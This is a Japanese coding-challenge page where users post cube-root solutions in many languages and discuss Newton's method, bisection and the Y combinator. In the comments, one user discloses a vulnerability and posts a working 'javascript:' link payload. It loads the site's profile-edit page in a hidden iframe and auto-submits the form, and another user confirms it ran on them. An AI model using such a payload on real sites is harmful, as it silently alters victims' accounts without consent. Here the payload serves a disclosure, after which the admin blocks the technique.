DouKaku?beta

challenge 立方根の計算

xは0以上1000未満の実数です。 y * y * y = xになるような実数y(立方根)を小数点以下12桁以上の正確さで 求める関数cube_rootを作って下さい。

ただし、このお題の趣旨は実数区間での探索なので、 立方根関数があっても使ってはいけません。 指数関数と対数関数も禁止します。

Pythonで表現した入出力の例： 

>>> cube_root(10.0)
2.1544346900318834
>>> _ ** 3
9.9999999999999947
>>> cube_root(100.0)
4.6415888336127793
>>> _ ** 3
100.00000000000003
post comment

Posted feedbacks - Nested

Flatten Hidden 
% awk -f cuberoot.awk
8.0
2.0000000000000000
10.0
2.1544346900318931
100.0
4.6415888336127793
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
{
	printf("%.16f\n", cube_root($1))
}

function cube_root(r,  a,b,d)
{
	a = r
	while (1) {
		b = (r / (a*a) + 2 * a) / 3
		d = b - a ; if (d < 0) d = -d
		if (d < 5e-13) break
		a = b
	}
	return a
}

xが0の時にdivide by zeroになってしまいますね・・・修正します
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
{
	printf("%.16f\n", cube_root($1))
}

function cube_root(r,  a,b,d)
{
	if (r == 0) return 0 ##oops

	a = r
	while (1) {
		b = (r / (a*a) + 2 * a) / 3
		d = b - a ; if (d < 0) d = -d
		if (d < 5e-13) break
		a = b
	}
	
	return a
}

% ./cube_root 10
2.1544346900318895

% ./cube_root 100
4.6415888336127781
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>

long double cube_root(long double x, long double min, long double max){
    long double m = (min + max) / 2;
    long double d = m * m * m - x;
    if(d > -1E-13 && d < 1E-13) return m;
    if(d > 0)
        return cube_root(x, min, m);
    else
        return cube_root(x, m, max);
}

int main(int argc, char *argv[])
{
    long double x, y;
    if(argc < 2) return EXIT_FAILURE;
    sscanf(argv[1], "%llf", &x);
    y = cube_root(x, 0, 1000);
    printf("%.16llf\n", y);
    return EXIT_SUCCESS;
}

print文でフォーマット表示した時は、少し違う出力になるけど、
doctestはパスしました。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
def cube_root(num, guess=1.0):
  """
  >>> cube_root(10.0)
  2.1544346900318838
  >>> _ ** 3
  10.000000000000002
  >>> cube_root(100.0)
  4.6415888336127793
  >>> _ ** 3
  100.00000000000003
  """
  improve = lambda x: ((x*2)+(num/x**2)) / 3.0
  good_enough = lambda x: abs(x**3-num) < 0.00000000001

  while True:
    if good_enough(guess):
      return guess
    guess = improve(guess)

まんまSICPですが。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def cube_root(x:double):double = {
  def improve(y:double)= ((y*2)+(x/Math.pow(y,2.0)))/3.0
  def good_enough(y:double) = (Math.pow(y,3.0)-x).abs < 1e-13
  var guess = 1.0
  while(true) {
    if(good_enough(guess)) return guess
    guess = improve(guess)
  }
  guess
}

SICPそのまんま(exercise 1.8)
ただし、exercise 1.7 を考慮しているので
1.0e-30のような小さい数でも対応できる
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
(define (cubic-root-iter old-guess new-guess x)
  (if (cubic-good-enough? old-guess new-guess)
      new-guess
      (cubic-root-iter new-guess (cubic-improve new-guess x) x)))

(define (cubic-improve guess x)
  (+ (/ x (* 3 (square guess))) (/ (* 2 guess) 3)))

(define (cubic-good-enough? old-guess new-guess)
  (< (abs (- (/ old-guess new-guess) 1.0)) 1.0e-12))

(define (cubic-root x)
  (cubic-root-iter 1.0 x x))

(define (square x) (* x x))
(define (cube x) (* x x x))

#|
gosh> (cube (cubic-root 10.0))
10.000000000000002
gosh> (cube (cubic-root 100.0))
100.00000000000003
gosh> (cube (cubic-root 1000.0))
1000.0
gosh> (cube (cubic-root 1.0e-30))
1.0000000000000006e-30
gosh> (cube (cubic-root 1.0e-60))
9.999999999999998e-61
gosh> 
|#

そのままHaskellで

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
cbrt :: Double -> Double -> Double
cbrt e x = iter 1.0 x x
  where iter old new x
           | good old new = new
           | otherwise    = iter new (improve new x) x
        improve g x  = (x / g^2 + 2 * g) / 3
        good old new = abs (1 - old / new) < e

cubicRoot :: Double -> Double
cubicRoot = cbrt 1.0e-13

{-
*Main> cubicRoot 1.0
1.0
*Main> it ^ 3
1.0
*Main> cubicRoot 10.0
2.154434690031884
*Main> it ^ 3 
10.000000000000002
*Main> cubicRoot 100  
4.641588833612778
*Main> it ^ 3
99.99999999999997
*Main> cubicRoot 1000
10.0
*Main> it ^ 3
1000.0
*Main> cubicRoot 1.0e-30
1.0e-10
*Main> it ^ 3
1.0e-30
-}

しまった g^2を使っちゃだめじゃん
        improve g x  = (x / g^2 + 2 * g) / 3
はキャンセルして
        improve g x  = (x / (g * g) + 2 * g) / 3
ですね。

cubicRoot 0.0 が帰ってきません。
0.0 / 0.0 ってエラーかと思ってたら NaN なんですね。

それと遅延評価ならではの数列生成と収束判定を分離した版もお願いします。
0.0だけは別判定しないとだめですね。
1
2
3
4
5
6
starling f g x = f x (g x)
cubicRoot 0 = 0
cubicRoot x = snd . head . filter ((e >) . abs . subtract 1 . uncurry (/)) 
            . starling zip tail . flip iterate 1 . improve $ x
  where improve x g = (x / g^2 + 2 * g) / 3
         e = 1.0e-12

SICPの当該箇所は
http://mitpress.mit.edu/sicp/full-text/book/book-Z-H-10.html#%_thm_1.7
http://mitpress.mit.edu/sicp/full-text/book/book-Z-H-10.html#%_thm_1.8
です。

see: Structure and Interpretation of Computer Programs

むむむ、平方根だと何かとかぶるかと思って立方根にしたのですが、それでもかぶってましたか…orz

この問題は「線形に探索すると明らかに時間がかかりすぎるけども、二分探索なら十分な速度で答えが出る」というラインを狙って出題したので、下のようなアルゴリズムでも十分答えが出ます。 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
def cube_root(x):
	c = 8.0
	d = 4.0
	for i in range(100):
		v = c * c * c
		if v < x:
			c += d
			d /= 2
		elif v > x:
			c -= d
			d /= 2
		else:
			break
	return c

手続き版は最初に投稿したので、

・再帰
・Yコンビネータ
・アキュームレータ

を使ったものを投稿します。
アルゴリズムは全部同じ、Newton Raphson's method です。

※ Yコンビネータは、one-linerなどの式中で再帰呼び出しをする方法。
手続きなしでの実装は#2518に投稿しました。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def cube_root(x,y=1.0):
  if abs(y**3-x) < 1e-13:
    return y
  else:
    return cube_root(x, (((x/y**2)+(y*2)) / 3.0))



def cube_root(x):
  def Y(f):
    f_ = lambda v: f(f_,v)
    return f_

  good_enough = lambda y: abs(y**3-x) < 1e-13
  improve = lambda y: ((x/y**2)+(y*2)) / 3.0
  return Y(lambda f,y: y if good_enough(y) else f(improve(y)))(1.0)


def cube_root(x):
  def accgen(func, n):
    while True:
      yield n 
      n = func(n)

  good_enough = lambda y: abs(y**3-x)<1e-13
  improve = lambda y: (((x/y**2)+(y*2))/3.0)
  return (y for y in accgen(improve,1.0) if good_enough(y)).next()

>※ Yコンビネータは、one-linerなどの式中で再帰呼び出しをする方法。

わわわ、四方八方から集中砲火を浴びそうな悪寒…

# だが それがいい(ぇ 

>>※ Yコンビネータは、one-linerなどの式中で再帰呼び出しをする方法。 
> わわわ、四方八方から集中砲火を浴びそうな悪寒… 

利用法の１例であって、言い切ってしまったのはまずかったですね。誤解を与える説明でした。

でも、一言で説明出来る自信ないので、please google 'Y-combinator'

サーバ移転で忙しくてほったらかしになっていました。

先日チャットで議論した結果、親記事がYコンビネータと呼んでいるコードは「不動点関数として有名なYコンビネータ」とは別物だという結論に達しました。というわけでYコンビネータを使ったバージョンを載せておきます。2行目と3行目がYコンビネータの定義です。

参考文献：Fixed point combinator - Wikipedia, the free encyclopedia , Pythonで階乗を求める(Yコンビネータ編)

簡単に説明すると、Yコンビネータというのは与えられた関数の不動点(与えられた関数をfとするとf(x) = xになるようなx)を求める関数の一つです。

で、Yコンビネータに与えられる関数は上のコードではどこにあるのかというと、 4行目から8行目の(1.0)の直前までです。 名前が付いていなくて説明しにくいのでこの関数を仮にstepと呼ぶことにします。 ここまでのところはY(step)という形になっているわけです。 で、Yが不動点を求める関数なのでY(step)は関数stepの不動点になります。 つまりY(step) = step(Y(step))です。 ここでstepの定義に目を移してみると、これは関数fを受け取って 「yを受け取ってそのまま返したり、fを呼んだ結果を返したりする関数」 を返す関数です。 step(Y(step))は「yを受け取ってそのまま返したり、Y(step)を呼んだ結果を返したりする関数」 を返すわけです。 Y(step)を呼ぶということはstep(Y(step))を呼ぶということと同じなので、どこまで行っても呼ばれるのはY(step)です。 こうやって再帰呼び出しを(関数に名前をつけることなく)実現しているわけです。

そして最後の(1.0)でその関数に1.0を渡しています。

とまぁ、長々と説明しましたが、ここには僕より詳しい人がたくさんいると思うので、間違っていたらつっこんでもらえるかなと半分期待しつつ自分の理解を確かめるつもりで書いてみました。 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
>>> cube_root = lambda x:(
      (lambda f:((lambda g: f(lambda x: g(g)(x)))
                  (lambda g: f(lambda x: g(g)(x)))))
      (lambda f:
           lambda y:
               y
               if abs(y ** 3 - x) < 1e-13
               else f(((x/y**2)+(y*2)) / 3.0))(1.0))

>>> cube_root(10.0)
2.1544346900318838
>>> cube_root(100.0)
4.6415888336127793

二分法や不動点関数を使った平方根や立方根の具体的な計算についても
SICP に記述があります

http://mitpress.mit.edu/sicp/full-text/book/book-Z-H-12.html#%_sec_1.3.3
http://mitpress.mit.edu/sicp/full-text/book/book-Z-H-12.html#%_sec_1.3.4

先の議論では不動点関数と，不動点関数としてのＹ「コンビネータ」とを
なんとなく混乱してつかっているような感じがします．コンビネータというの
は自由変数を含まないラムダ抽象のことですよね． 

ラムダ抽象の本体部分では束縛変数以外の名前を使えないので，
関数(ラムダ抽象)に名前をつけるとき，その式の中にその名前を使うことは
できません．

λf.(λx.f(x x))(λx.f(x x))というラムダ抽象はコンビネータで，不動点関数
としての性質を満します．これをＹコンビネータと呼ぶのだと思います．

HaskellやMLの型システムでは，上のラムダ抽象に含まれる x x という
自己適用式に型付けできないので，このラムダ抽象は Haskell や ML では正
しい式としては認められません．つまり，Haskell では不動点関数を
「コンビネータ」としては定義できないということになります．

Haskellでは不動点関数を定義するのは可能で

y f = f (y f) 

と定義すれば y が不動点関数ということになります．


OCaml でも引数を全部明示的に書くと大丈夫みたいです。
(λ計算の言葉でいうと eta-expansion)

# let rec y f x = f (y f) x;;
val y : (('a -> 'b) -> 'a -> 'b) -> 'a -> 'b = <fun>
# let fact = y (fun f x -> if x=0 then 1 else x * (f (x-1)));;
val fact : int -> int = <fun>
# fact 10;;
- : int = 3628800
ニュートン法で求めてみました。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public class Sample {
    public static double cubicRoot(double a) {
        double x = 10;
        double x0;
        do {
            x0 = x;
            x = x - (x * x * x - a) / (3 * x * x);
        } while ((x - x0) != 0);
        return x;
    }

    public static void main(String[] args) {
        System.out.println(cubicRoot(10));
    }
}

範囲を半分ずつ切っていく方針で。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
(defun cuberoot (x)
  (let ((lb 0) (ub 10))
    (dotimes (i 50)
      (let ((m (/ (+ lb ub) 2)))
        (if (< (* m m m) x)
            (setf lb m)
          (setf ub m))))
    (multiple-value-bind (q r)
        (truncate lb)
      (format t "~A.~A" q (floor r 1/1000000000000)))))

なんとか法とかよく知らないので、再帰クイックソート的に
範囲を狭めてやってみました。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def cube_root(n):
  def f(a,b):
    if abs(n-(b**3)) < 0.000000000001: return b
    if max(n, ((a+b)/2)**3) == n:
      return f((a+b)/2, b)
    else:
      return f(a, (a+b)/2)
  return f(0.0, float(n))

i = cube_root(10)
print '%.13f ** 3 = %.13f' % (i, i**3)
i = cube_root(100)
print '%.13f ** 3 = %.13f' % (i, i**3)
Squeak Smalltalk で。 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
| cubeRoot cr |
cubeRoot := [:x |
	| y |
	y := 1.0.
	[((y*y*y) - x) abs < 1e-13] whileFalse: [y := (x/y/y + (2*y)) / 3].
	y].

cr := cubeRoot value: 10.
cr asScaledDecimal: 16.  "=>  2.1544346900318838s16 "
(cr*cr*cr) asScaledDecimal: 16.   "=> 10.0000000000000017s16 "

cr := cubeRoot value: 100.
cr asScaledDecimal: 16.  "=> 4.6415888336127792s16 "
(cr*cr*cr) asScaledDecimal: 16.  "=> 100.0000000000000284s16 "

Edu-sigメーリングリストのアーカイブより（参考リンク）

Halley法です。高階関数にしてみました。

see: [Edu-sig] Halley's Method for nth root of P 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
def gen_nth_root_func(nth, max_depth=-1, initial_guess=1.0, accuracy=1e-12):
  is_good_enough = lambda x,y: abs(y**nth-x) < accuracy
  improve = lambda x,y: ((nth+1)*x*y + (nth-1)*(y**(nth+1))) / ((nth-1)*x + (nth+1)*y**nth)

  def nth_root(num, depth=max_depth, guess=initial_guess):
    if num == 0:
        return num
    elif is_good_enough(num,guess) or depth == 0:
        return guess
    else:
        return nth_root(num, depth-1, improve(num,guess))
  return nth_root

square_root = gen_nth_root_func(nth=2) 
cube_root = gen_nth_root_func(nth=3, max_depth=-1, accuracy=1e-13)

あぁっ。べき乗もつかっちゃいけなかったんだ。
指数とか対数ってexpとlogしか頭に無かったです。
でも、禁止してるのは、cbrt = lambda x: x ** (1.0/3.0) 
の様な方法だと思うので、趣旨には反してないかな。。

念のため、n ** m => pow(n,m)に読み替えてください。
# ※ m=自然数のみ
pow = lambda n,m:reduce(lambda x,_: x*n, xrange(m), 1)

SICPにあった区間二分法ほとんどそのまま。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def cube_root(n)
  def close_enough?(x, y)
    (x - y).abs < 5.0E-13
  end

  def search(f, negp, posp)
    midp = (negp + posp) / 2
    if(close_enough?(f.call(midp), 0.0))
      return midp
    else
      test_value = f.call(midp)
      case
      when test_value > 0
        search(f, negp, midp)
      when test_value < 0
        search(f, midp, posp)
      else
        midp
      end
    end
  end
  
  def half_interval_method(f, a, b)
    a_value = f.call(a)
    b_value = f.call(b)
    case
    when a_value < 0 && b_value > 0
      search(f, a, b)
    when a_value > 0 && b_value < 0
      search(f, b, a)
    else
      puts "error"
      exit
    end
  end
  
  half_interval_method(lambda{|x| x*x*x - n}, -0.001, n+1)
end

puts "%3.13f" % cube_root(10.0) ** 3# 9.9999999999997
puts "%3.13f" % cube_root(100.0) ** 3# => 99.9999999999999

dcのマクロ。dcを起動して投稿のマクロを入力後、例えば以下のようにすると三乗根を計算する。 

10 lcxp

この問題では1000未満という条件があるので大丈夫だが、あまり大きい数を入れるとSegmentation faultで落ちる。自分を呼び出すことで繰り返しを実現しているので呼び出しが深くなることが問題と思われる。 

1
[_1*]ss[q]sq[d2*rd*lar/+3/ddd**la-d0>sld>qlrx]sr[13k.1d*dd*d**sddsa10/lrx]sc

「0以上」の条件を見落していたので修正。 


	

	
	
	
    

      
1
[_1*]ss[q]sq[d2*rd*lar/+3/ddd**la-d0>sld>qlrx]sr[14kd0=q.1ddd*d**d**sddsa10/lrx]sc




    

	

  
  








  


    

  


    

  
    

      
      







  
  

	

	  
dcを言語一覧に追加しておきました。

	

	
	
	

  
  








  


    

  


  

  
    







  
  

	

	   まず二分法で書いてみて，その後ニュートン法に替えたら簡潔さと速さに感動した。
	

	
	

	  see: デモ (キャンセルで終了)
	
  
	
	
	
    

      
1
2
3
4
function cube_root(x){
  for(var y = Number(x), z = 0; Math.abs(1 - z/y) >= 1e-12; y = ((z = y)*2 + x/(y*y))/3);
  return y;
}




    

	

  
  








  
    

      
      







  
  

	

	  
おおお、デモが付いてるｗ
JavaScriptならではですね！

	

	
	
	

  
  








  
    

      
      







  
  

	

	  
というか、脆弱性ではないですか？
参照リンクのクリックは自己責任？

	

	
	

	  see: こんにちはこんにちは
	
  
	
	
	

  
  








  
    

      
      







  
  

	

	  上の「こんにちはこんにちは」はIEじゃないと動かないぽいですね。余分な処理もあるし。直しませんけど。

ちなみにコードは以下の通り。



> 管理者殿

問題がある場合はこのコメントごと削除して頂いて構いません。


javascript:(
function(ifr,w){
  (ifr=document.body.appendChild(document.createElement('iframe'))).name='hoge';
  ifr.style.display='none';ifr.src='http://ja.doukaku.org/editprofile/';
  setTimeout(function(){
    with(window.frames[0].document.forms[0]){
      id_desc.value+='\nこんにちはこんにちは';
      submit();
    }
    undefined
  }, 1000)
})();


	

	
	
	

  
  








  
    

      
      







  
  

	

	  
踏んでしまいましたが、Operaでもこんにちわこんにちわされました。

	

	
	
	

  
  








  


    

  
    

      
      







  
  

	

	  
新しいjavascript:～の投稿を禁止しました。
あと「こんにちはこんにちは」は
「立方根の計算」というお題に対する解答ではないので
コメント欄に移動しておきました。

	

	
	
	

  
  








  
    

      
      







  
  

	

	    残念。でも、妥当な措置だと思います。
	

	
	
	

  
  








  


    

  


    

  


    

  


    

  


    

  


  

  

  

  

  

  
    







  
  

	

	  
ニュートン・ラプソン法で書いてみる．

	

	
	
	
    

      
1
2
3
4
5
6
7
def cube_root(x):
  y = 0.0 
  y_next = x 
  while y != y_next:
    y = y_next
    y_next = y - (y * y * y - x) / (3.0 * y